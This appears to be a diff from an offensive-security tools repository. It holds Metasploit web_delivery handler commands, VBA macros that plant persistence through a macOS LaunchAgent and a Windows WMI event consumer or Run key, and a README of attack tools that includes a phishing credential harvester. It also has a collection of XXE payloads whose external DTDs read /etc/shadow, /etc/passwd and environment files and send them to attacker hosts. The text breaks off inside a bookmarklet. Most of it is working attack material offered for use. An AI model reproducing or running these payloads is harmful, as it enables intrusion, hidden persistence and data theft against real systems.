setg LHOST <ATTACKER-IP>
|
||||||
|
setg LPORT 443
|
||||||
|
setg VERBOSE true
|
||||||
|
setg ExitOnSession false
|
||||||
|
setg Powershell::sub_funcs true
|
||||||
|
setg Powershell::sub_vars true
|
||||||
|
setg EnableStageEncoding true
|
||||||
|
setg StagerRetryCount 30
|
||||||
|
setg StagerRetryWait 10
|
||||||
|
exploit -j
|
||||||
|
use exploit/multi/script/web_delivery
|
||||||
|
set TARGET 2
|
||||||
|
set SRVPORT 8080
|
||||||
|
set SSL true
|
||||||
|
set URIPATH msf
|
||||||
|
set DisablePayloadHandler true
|
||||||
|
exploit -j
|
|
@ -0,0 +1,81 @@
|
||||||
|
#If VBA7 Then
|
||||||
|
' 64-bit Mac (2016)
|
||||||
|
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _
|
||||||
|
(ByVal command As String) As Long
|
||||||
|
Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _
|
||||||
|
(ByVal file As String, ByVal mode As String) As LongPtr
|
||||||
|
Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _
|
||||||
|
(ByVal str As String, ByVal file As LongPtr) As Long
|
||||||
|
Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _
|
||||||
|
(ByVal file As LongPtr) As Long
|
||||||
|
#Else
|
||||||
|
' 32-bit Mac
|
||||||
|
Private Declare Function system Lib "libc.dylib" Alias "system" _
|
||||||
|
(ByVal command As String) As Long
|
||||||
|
Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _
|
||||||
|
(ByVal file As String, ByVal mode As String) As Long
|
||||||
|
Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _
|
||||||
|
(ByVal str As String, ByVal file As Long) As Long
|
||||||
|
Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _
|
||||||
|
(ByVal file As Long) As Long
|
||||||
|
#End If
|
||||||
|
|
||||||
|
Sub writeToFile(ByVal file As String, ByVal txt As String)
|
||||||
|
#If Mac Then
|
||||||
|
#If VBA7 Then
|
||||||
|
Dim fp As LongPtr
|
||||||
|
#Else
|
||||||
|
Dim fp As Long
|
||||||
|
#End If
|
||||||
|
|
||||||
|
Dim grants
|
||||||
|
grants = Array(file)
|
||||||
|
GrantAccessToMultipleFiles(grants)
|
||||||
|
|
||||||
|
' BUG: fopen will return 0 here.
|
||||||
|
fp = fopen(file, "w")
|
||||||
|
If fp = 0 Then: Exit Sub
|
||||||
|
|
||||||
|
fputs txt, fp
|
||||||
|
fclose(fp)
|
||||||
|
#End If
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub MacPersistence(ByVal cmd As String, ByVal taskName As String)
|
||||||
|
Dim plist As String
|
||||||
|
plist = "<?xml version=""1.0"" encoding=""UTF-8""?>\n"
|
||||||
|
plist = plist & "<!DOCTYPE plist PUBLIC ""-//Apple Computer//DTD "
|
||||||
|
plist = plist & "PLIST 1.0//EN"" ""http://www.apple.com/DTDs/plist"
|
||||||
|
plist = plist & " = plist & PropertyList-1.0.dtd"">\n"
|
||||||
|
plist = plist & "<plist version=""1.0"">\n
|
||||||
|
plist = plist & "<dict>\n"
|
||||||
|
plist = plist & " <key>Label</key>\n"
|
||||||
|
plist = plist & " <string>" & taskName & "</string>\n"
|
||||||
|
plist = plist & " <key>ProgramArguments</key>\n"
|
||||||
|
plist = plist & " <array>\n"
|
||||||
|
plist = plist & " <string>/bin/bash</string>\n"
|
||||||
|
plist = plist & " <string>-c</string>\n"
|
||||||
|
plist = plist & " <string>'" & cmd & "'</string>\n"
|
||||||
|
plist = plist & " </array>\n"
|
||||||
|
plist = plist & " <key>RunAtLoad</key>\n"
|
||||||
|
plist = plist & " <true/>\n"
|
||||||
|
plist = plist & " <key>KeepAlive</key>\n"
|
||||||
|
plist = plist & " <true/>\n"
|
||||||
|
plist = plist & "</dict>\n"
|
||||||
|
plist = plist & "</plist>\n"
|
||||||
|
|
||||||
|
' TODO: File writing does not work at the moment, most likely due to
|
||||||
|
' apps sandboxing mechanism enforced by the system.
|
||||||
|
|
||||||
|
' Approach #1: File write by system command
|
||||||
|
' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName)
|
||||||
|
|
||||||
|
' Approach #2: File write by fopen+fputs+fclose
|
||||||
|
Dim fileName As String
|
||||||
|
fileName = "~/Library/LaunchAgents/" & taskName & ".plist"
|
||||||
|
writeToFile fileName, plist
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub TestMacPersistence()
|
||||||
|
MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update"
|
||||||
|
End Sub
|
|
@ -0,0 +1,105 @@
|
||||||
|
'
|
||||||
|
' SYNOPSIS:
|
||||||
|
' This macro implements two windows persistence methods:
|
||||||
|
' - WMI Event Filter object creation
|
||||||
|
' - simple HKCU Registry Run value insertion. It has to be HKCU to make it work under Win10 x64
|
||||||
|
'
|
||||||
|
' WMI Persistence method as originally presented by SEADADDY malware
|
||||||
|
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
|
||||||
|
' and further documented by Matt Graeber.
|
||||||
|
'
|
||||||
|
' The scheduled command will be launched after roughly 3 minutes since system
|
||||||
|
' gets up. Also, even if the command shall spawn a window - it will not be visible,
|
||||||
|
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
|
||||||
|
'
|
||||||
|
' USAGE:
|
||||||
|
' WindowsPersistence("command to be launched", "taskName")
|
||||||
|
'
|
||||||
|
' EXAMPLE:
|
||||||
|
' WindowsPersistence "powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater"
|
||||||
|
'
|
||||||
|
' AUTHOR:
|
||||||
|
' Mariusz B. / mgeeky, '17
|
||||||
|
'
|
||||||
|
|
||||||
|
Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
|
||||||
|
Dim filterName, consumerName As String
|
||||||
|
Dim objLocator, objService1
|
||||||
|
Dim objInstances1, objInstances2, objInstances3
|
||||||
|
Dim newObj1, newObj2, newObj3
|
||||||
|
|
||||||
|
On Error GoTo Failed
|
||||||
|
|
||||||
|
filterName = taskName & "Event"
|
||||||
|
consumerName = taskName & "Consumer"
|
||||||
|
|
||||||
|
Set objLocator = CreateObject("WbemScripting.SWbemLocator")
|
||||||
|
Set objService1 = objLocator.ConnectServer(".", "root\subscription")
|
||||||
|
|
||||||
|
'
|
||||||
|
' Step 1: Set WMI Instance of type Event Filter
|
||||||
|
'
|
||||||
|
Set objInstances1 = objService1.Get("__EventFilter")
|
||||||
|
|
||||||
|
' The malware originally will kicks in after roughly 3 minutes since System gets up.
|
||||||
|
' One can modify this delay time by modifying the WHERE clausule of the below query.
|
||||||
|
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _
|
||||||
|
& "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _
|
||||||
|
& "AND TargetInstance.SystemUpTime >= 200 AND " _
|
||||||
|
& "TargetInstance.SystemUpTime < 320"
|
||||||
|
|
||||||
|
' New object of type __EventFilter
|
||||||
|
Set newObj1 = objInstances1.Spawninstance_
|
||||||
|
newObj1.Name = filterName
|
||||||
|
newObj1.eventNamespace = "root\cimv2"
|
||||||
|
newObj1.QueryLanguage = "WQL"
|
||||||
|
newObj1.Query = Query
|
||||||
|
newObj1.Put_
|
||||||
|
|
||||||
|
'
|
||||||
|
' Step 2: Set WMI instance of type: CommandLineEventConsumer
|
||||||
|
'
|
||||||
|
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
|
||||||
|
Set newObj2 = objInstances2.Spawninstance_
|
||||||
|
newObj2.Name = consumerName
|
||||||
|
newObj2.CommandLineTemplate = exePath
|
||||||
|
newObj2.Put_
|
||||||
|
|
||||||
|
'
|
||||||
|
' Step 3: Set WMI instance of type: Filter To Consumer Binding
|
||||||
|
'
|
||||||
|
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
|
||||||
|
Set newObj3 = objInstances3.Spawninstance_
|
||||||
|
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
|
||||||
|
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
|
||||||
|
newObj3.Put_
|
||||||
|
|
||||||
|
WMIPersistence = True
|
||||||
|
Exit Function
|
||||||
|
Failed:
|
||||||
|
WMIPersistence = False
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function RegistryPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
|
||||||
|
On Error GoTo Failed
|
||||||
|
|
||||||
|
Const HKEY_CURRENT_USER = &H80000001
|
||||||
|
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||||
|
strComputer = "."
|
||||||
|
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
|
||||||
|
strValueName = taskName
|
||||||
|
strValue = exePath
|
||||||
|
objReg.SetExpandedStringValue HKEY_CURRENT_USER, strKeyPath, strValueName, strValue
|
||||||
|
|
||||||
|
RegistryPersistence = True
|
||||||
|
Exit Function
|
||||||
|
Failed:
|
||||||
|
RegistryPersistence = False
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
Public Function WindowsPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean
|
||||||
|
If WMIPersistence(exePath, taskName) <> True Then
|
||||||
|
RegistryPersistence exePath, taskName
|
||||||
|
End If
|
||||||
|
End Function
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,139 @@
|
||||||
|
## Web Applications penetration testing related scripts, tools and Cheatsheets
|
||||||
|
|
||||||
|
|
||||||
|
- **`xml-attacks.md`** - XML Vulnerabilities and Attacks cheatsheet. ([gist](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870))
|
||||||
|
|
||||||
|
- **`reencode.py`** - ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. To be used for instance in fuzzing purposes. Requires: jwt (pip install pyjwt). ([gist](https://gist.github.com/mgeeky/1052681318a8164b112edfcdcb30798f))
|
||||||
|
|
||||||
|
Sample output could look like:
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage: detect.py <text>
|
||||||
|
Using sample: "4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935"
|
||||||
|
[+] Detected encoding: HexEncoded
|
||||||
|
[+] Detected encoding: Base64
|
||||||
|
[+] Detected encoding: URLEncoder
|
||||||
|
[.] No more encodings.
|
||||||
|
[.] Input data encoded according to: ['HexEncoded', 'Base64', 'URLEncoder']
|
||||||
|
[>] Decoding HexEncoded: (4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935) => (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5)
|
||||||
|
[>] Decoding Base64: (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5) => (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29)
|
||||||
|
[>] Decoding URLEncoder: (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29) => (Hello world! :-))
|
||||||
|
(1) DECODED TEXT: "Hello world! :-)"
|
||||||
|
|
||||||
|
(2) TO BE ENCODED TEXT: "FOO Hello world! :-) BAR"
|
||||||
|
[>] Encoding URLEncoder: (FOO Hello world! :-) BAR) => (FOO%20Hello%20world%21%20%3A-%29%20BAR)
|
||||||
|
[>] Encoding Base64: (FOO%20Hello%20world%21%20%3A-%29%20BAR) => (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=)
|
||||||
|
|
||||||
|
[>] Encoding HexEncoded: (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=) => (526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d)
|
||||||
|
(3) ENCODED FORM: "526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d"
|
||||||
|
```
|
||||||
|
|
||||||
|
When `DEBUG` is turned on, the output may also look like:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ./reencode.py JTQxJTQxJTQxJTQx
|
||||||
|
[.] Trying: URLEncoder (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
|
||||||
|
[.] Trying: HexEncoded (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
|
||||||
|
[.] Trying: Base64 (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
|
||||||
|
[.] Unclear situation whether input (JTQxJTQxJTQxJTQx) is Base64 encoded. Branching.
|
||||||
|
[*] Generator returned: ("None", "JTQxJTQxJTQxJTQx", True)
|
||||||
|
[+] Detected encoder: Base64
|
||||||
|
[*] Generator returned: ("Base64", "%41%41%41%41", False)
|
||||||
|
[.] Trying: URLEncoder (peeled off: 1). Current form: "%41%41%41%41"
|
||||||
|
[+] Detected encoder: URLEncoder
|
||||||
|
[*] Generator returned: ("URLEncoder", "AAAA", False)
|
||||||
|
[.] Trying: URLEncoder (peeled off: 2). Current form: "AAAA"
|
||||||
|
[.] Trying: HexEncoded (peeled off: 2). Current form: "AAAA"
|
||||||
|
[.] Unclear situation whether input (AAAA) is Hex encoded. Branching.
|
||||||
|
[*] Generator returned: ("None", "AAAA", True)
|
||||||
|
[+] Detected encoder: HexEncoded
|
||||||
|
[*] Generator returned: ("HexEncoded", "<22><>", False)
|
||||||
|
[.] Trying: URLEncoder (peeled off: 3). Current form: "<22><>"
|
||||||
|
[.] Trying: HexEncoded (peeled off: 3). Current form: "<22><>"
|
||||||
|
[.] Trying: Base64 (peeled off: 3). Current form: "<22><>"
|
||||||
|
[.] Trying: Base64URLSafe (peeled off: 3). Current form: "<22><>"
|
||||||
|
[.] Trying: JWT (peeled off: 3). Current form: "<22><>"
|
||||||
|
[.] Trying: None (peeled off: 3). Current form: "<22><>"
|
||||||
|
None (JTQxJTQxJTQxJTQx)
|
||||||
|
├── None (JTQxJTQxJTQxJTQx)
|
||||||
|
└── Base64 (%41%41%41%41)
|
||||||
|
└── URLEncoder (AAAA)
|
||||||
|
├── None (AAAA)
|
||||||
|
└── HexEncoded ()
|
||||||
|
[.] Candidate for best decode using None: "AAAA"...
|
||||||
|
[.] Candidate for best decode using HexEncoded: "<22><>"...
|
||||||
|
[=] Evaluating candidate: None (data: AAAA)
|
||||||
|
Adding 10.0 points for printable characters.
|
||||||
|
Adding 0.0 points for high entropy.
|
||||||
|
Adding 4.0 points for length.
|
||||||
|
Scored in total: 14.0 points.
|
||||||
|
[=] Evaluating candidate: HexEncoded (data: <20><>)
|
||||||
|
Adding 0.0 points for printable characters.
|
||||||
|
Adding 0.0 points for high entropy.
|
||||||
|
Adding 2.0 points for length.
|
||||||
|
Scored in total: 2.0 points.
|
||||||
|
[?] Other equally good candidate paths:
|
||||||
|
(Node('/None/Base64/URLEncoder', decoded='AAAA'), Node('/None/Base64/URLEncoder/None', decoded='AAAA'))
|
||||||
|
[+] Winning decode path is:
|
||||||
|
Node('/None/Base64/URLEncoder', decoded='AAAA')
|
||||||
|
[+] Selected encodings: ['None', 'Base64', 'URLEncoder']
|
||||||
|
(1) DECODED TEXT: "AAAA"
|
||||||
|
|
||||||
|
(2) TO BE ENCODED TEXT: "FOO AAAA BAR"
|
||||||
|
(3) ENCODED FORM: "Rk9PJTIwQUFBQSUyMEJBUg=="
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- **`oRTC-leak-internal-ip.js`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/03f0871fb88c64b3d6d3a725c3ba38bf))
|
||||||
|
|
||||||
|
- **`XXE Payloads`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d))
|
||||||
|
|
||||||
|
- **`blind-xxe-payload-1.txt`** - Simplest Blind XXE Payload to test within HTML request. ([gist](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882))
|
||||||
|
|
||||||
|
- **`burpCookieToUrl.py`** - Example BurpSuite extension copying specified Cookie's value (ticket) into URL parameters set under different name. ([gist](https://gist.github.com/mgeeky/61407112d6d09eaafd542e25590e1d35))
|
||||||
|
|
||||||
|
- **`post.php`** - (GIST discontinued, for recent version check: https://github.com/mgeeky/PhishingPost ) PHP Credentials Harversting script to be used during Social Engineering Phishing campaigns/projects. ([gist](https://gist.github.com/mgeeky/32375178621a5920e8c810d2d7e3b2e5))
|
||||||
|
|
||||||
|
|
||||||
|
- [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML <form> action parameter.
|
||||||
|
|
||||||
|
- **`burp-curl-beautifier.py`** - Simple script for making "Copy as curl command" output in system's clipboard a little nicer, at least for me. ([gist](https://gist.github.com/mgeeky/3a5060e54004ca597241d6752b482675))
|
||||||
|
|
||||||
|
- **`padding-oracle-tests.py`** - Padding Oracle test-cases generator utility aiding process of manual inspection of cryptosystem's responses. ([gist](https://gist.github.com/mgeeky/5dfa475af2c970197a62ad070ba5deee))
|
||||||
|
|
||||||
|
```
|
||||||
|
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
|
||||||
|
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
|
||||||
|
#
|
||||||
|
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
|
||||||
|
# and then generates all the possible, reasonable cipher text transformations to be used while manually
|
||||||
|
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
|
||||||
|
# encoded values to be used in manual application testing approaches, like sending requests.
|
||||||
|
#
|
||||||
|
# One of possible scenarios and ways to use the below script could be the following:
|
||||||
|
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
|
||||||
|
# - launch pador.py which is an example of application vulnerable to Padding Oracle
|
||||||
|
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
|
||||||
|
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
|
||||||
|
# result would be considered padding-hit, therefore vulnerability proof.
|
||||||
|
#
|
||||||
|
# This script could be then launched to generate every possible test case of second to the last block
|
||||||
|
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
|
||||||
|
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`create_mitm_certificate.sh`** - Simple SSL/TLS self-signed CA Certificate generator for MITM purposes. ([gist](https://gist.github.com/mgeeky/5e36d6482e73ab85c161c35bfd50c465))
|
||||||
|
|
||||||
|
- **`java-XMLDecoder-RCE.md`** - Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads. ([gist](https://gist.github.com/mgeeky/5eb48b17c9d282ad3170ef91cfb6fe4c))
|
||||||
|
|
||||||
|
- **`struts-cheatsheet.md`** - Apache Struts devMode Remote Code Execution cheatsheet. ([gist](https://gist.github.com/mgeeky/5ba0170a5fd0171eb91bc1fd0f2618b7))
|
||||||
|
|
||||||
|
- **`pickle-payload.py`** - Python's Pickle Remote Code Execution payload template. ([gist](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd))
|
||||||
|
|
||||||
|
- **`http-auth-timing.py`** - HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request. ([gist](https://gist.github.com/mgeeky/57e866604942f1824da310982c46da84))
|
||||||
|
|
||||||
|
- **`blindxxe.py`** - Blind XXE (External XML Entity) attacker's server - to be used in blind XXE data exfiltration (like in Play Framework or Ruby on Rails). ([gist](https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573))
|
||||||
|
|
||||||
|
- **`ajax_crawl.js`** - AJAX Crawling bookmarklet - useful bookmarklet for fetching accessible, in-scope URLs from the webpage (and it's sitemap.xml) in order to let them be captured in local proxy like Burp. This in turn is useful for populating local proxy's history and it's website resources tree. Must-have during website pentesting. ([gist](https://gist.github.com/mgeeky/db809bec7460707693f2ed3548ea6a43))
|
||||||
|
|
||||||
|
- **`dummy-web-server.py`** - a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else. Forked from: [bradmontgomery/dummy-web-server.py](https://gist.github.com/bradmontgomery/2219997) ([gist](https://gist.github.com/mgeeky/c0675b2cf65bad6171edcb8f3bb2af6d))
|
|
@ -0,0 +1,144 @@
|
||||||
|
--------------------------------------------------------------
|
||||||
|
Vanilla, used to verify outbound xxe or blind xxe
|
||||||
|
--------------------------------------------------------------
|
||||||
|
|
||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ELEMENT r ANY >
|
||||||
|
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
|
||||||
|
]>
|
||||||
|
<r>&sp;</r>
|
||||||
|
|
||||||
|
---------------------------------------------------------------
|
||||||
|
OoB extraction
|
||||||
|
---------------------------------------------------------------
|
||||||
|
|
||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ELEMENT r ANY >
|
||||||
|
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
|
||||||
|
%sp;
|
||||||
|
%param1;
|
||||||
|
]>
|
||||||
|
<r>&exfil;</r>
|
||||||
|
|
||||||
|
## External dtd: ##
|
||||||
|
|
||||||
|
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
|
||||||
|
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
|
||||||
|
|
||||||
|
----------------------------------------------------------------
|
||||||
|
OoB variation of above (seems to work better against .NET)
|
||||||
|
----------------------------------------------------------------
|
||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ELEMENT r ANY >
|
||||||
|
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
|
||||||
|
%sp;
|
||||||
|
%param1;
|
||||||
|
%exfil;
|
||||||
|
]>
|
||||||
|
|
||||||
|
## External dtd: ##
|
||||||
|
|
||||||
|
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
|
||||||
|
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
|
||||||
|
|
||||||
|
---------------------------------------------------------------
|
||||||
|
OoB extraction
|
||||||
|
---------------------------------------------------------------
|
||||||
|
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
|
||||||
|
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
|
||||||
|
%sp;
|
||||||
|
%param3;
|
||||||
|
%exfil;
|
||||||
|
]>
|
||||||
|
|
||||||
|
## External dtd: ##
|
||||||
|
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
|
||||||
|
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
OoB extra ERROR -- Java
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE r [
|
||||||
|
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
|
||||||
|
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
|
||||||
|
%sp;
|
||||||
|
%param3;
|
||||||
|
%exfil;
|
||||||
|
]>
|
||||||
|
<r></r>
|
||||||
|
## External dtd: ##
|
||||||
|
|
||||||
|
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
|
||||||
|
|
||||||
|
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
OoB extra nice
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<!DOCTYPE root [
|
||||||
|
<!ENTITY % start "<![CDATA[">
|
||||||
|
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
|
||||||
|
<!ENTITY % end "]]>">
|
||||||
|
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
|
||||||
|
%dtd;
|
||||||
|
]>
|
||||||
|
<root>&all;</root>
|
||||||
|
|
||||||
|
## External dtd: ##
|
||||||
|
|
||||||
|
<!ENTITY all "%start;%stuff;%end;">
|
||||||
|
|
||||||
|
------------------------------------------------------------------
|
||||||
|
File-not-found exception based extraction
|
||||||
|
------------------------------------------------------------------
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE test [
|
||||||
|
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
|
||||||
|
%one;
|
||||||
|
%two;
|
||||||
|
%four;
|
||||||
|
]>
|
||||||
|
|
||||||
|
## External dtd: ##
|
||||||
|
|
||||||
|
<!ENTITY % three SYSTEM "file:///etc/passwd">
|
||||||
|
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
|
||||||
|
|
||||||
|
-------------------------^ you might need to encode this % (depends on your target) as: %
|
||||||
|
|
||||||
|
--------------
|
||||||
|
FTP
|
||||||
|
--------------
|
||||||
|
<?xml version="1.0" ?>
|
||||||
|
<!DOCTYPE a [
|
||||||
|
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
|
||||||
|
%asd;
|
||||||
|
%c;
|
||||||
|
]>
|
||||||
|
<a>&rrr;</a>
|
||||||
|
|
||||||
|
|
||||||
|
## External dtd ##
|
||||||
|
<!ENTITY % d SYSTEM "file:///proc/self/environ">
|
||||||
|
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
|
||||||
|
|
||||||
|
---------------------------
|
||||||
|
Inside SOAP body
|
||||||
|
---------------------------
|
||||||
|
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||||
|
|
||||||
|
|
||||||
|
---------------------------
|
||||||
|
Untested - WAF Bypass
|
||||||
|
---------------------------
|
||||||
|
<!DOCTYPE :. SYTEM "http://"
|
||||||
|
<!DOCTYPE :_-_: SYTEM "http://"
|
||||||
|
<!DOCTYPE {0xdfbf} SYSTEM "http://"
|
|
@ -0,0 +1,176 @@
|
||||||
|
/* Copy the below line to your bookmarklet: */
|
||||||
|
javascript:(function(){MAX_URLS_TO_FETCH = 512; limit_reached = false; function decodeHtml(html) {txt = document.createElement('textarea'); txt.innerHTML = html; return txt.value; } String.prototype.endsWith = function(suffix) {return this.indexOf(suffix, this.length - suffix.length) !== -1; }; function normalizeUri(uri) {if (!uri || uri.length < 1) {return ''; } if(uri.toLowerCase().startsWith('javascript:') || uri.toLowerCase().startsWith('mailto:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('tel:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('#') ) {return ''; } orig = location.origin; if (uri.startsWith('http') && !uri.startsWith(orig)) {if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {return uri; } return ''; } if (uri.startsWith(orig)) {return uri; } if (uri.startsWith('//')) {return location.protocol + uri; } if (uri.startsWith('"') || uri.startsWith("'") ) {return ''; } if (!uri.startsWith('/')) {var h = location.href; return h.substr(0, h.lastIndexOf('/') + 1) + uri; } else {return orig + uri; } return ''; } function collectUrls(code) {if (!code || code.length < 64) {return new Array(); } origin = location.origin; arr = new Set(); excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif']; askedAlready = false; includeLogouts = false; logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i; rexes = [/(?:href|src|action)="([^"]+)"/gi, /(?:href|src|action)='([^']+)'/gi, /'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi, /"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi, /((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi ]; n = rexes.length; for (var i = 0; i < rexes.length; i++) {r = new RegExp(rexes[i]); match = r.exec(code); while (match != null) {uri2 = ''; if (typeof match[1] !== 'undefined') uri2 += match[1]; if (typeof match[2] !== 'undefined') uri2 += match[2]; if (typeof match[3] !== 'undefined') uri2 += match[3]; uri = decodeHtml(uri2) || uri2; uri = normalizeUri(uri); in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':'))); if(uri.startsWith(orig) != in_scope_wo_scheme) {uri = location.protocol + uri.substr(uri.indexOf(':')+1); } if (uri && uri.length > 0 && uri.startsWith(orig)) {good = true; excluded.forEach(function(ext) {if (uri.endsWith(ext)) {good = false; } else if (logoutRex.test(uri)) {if 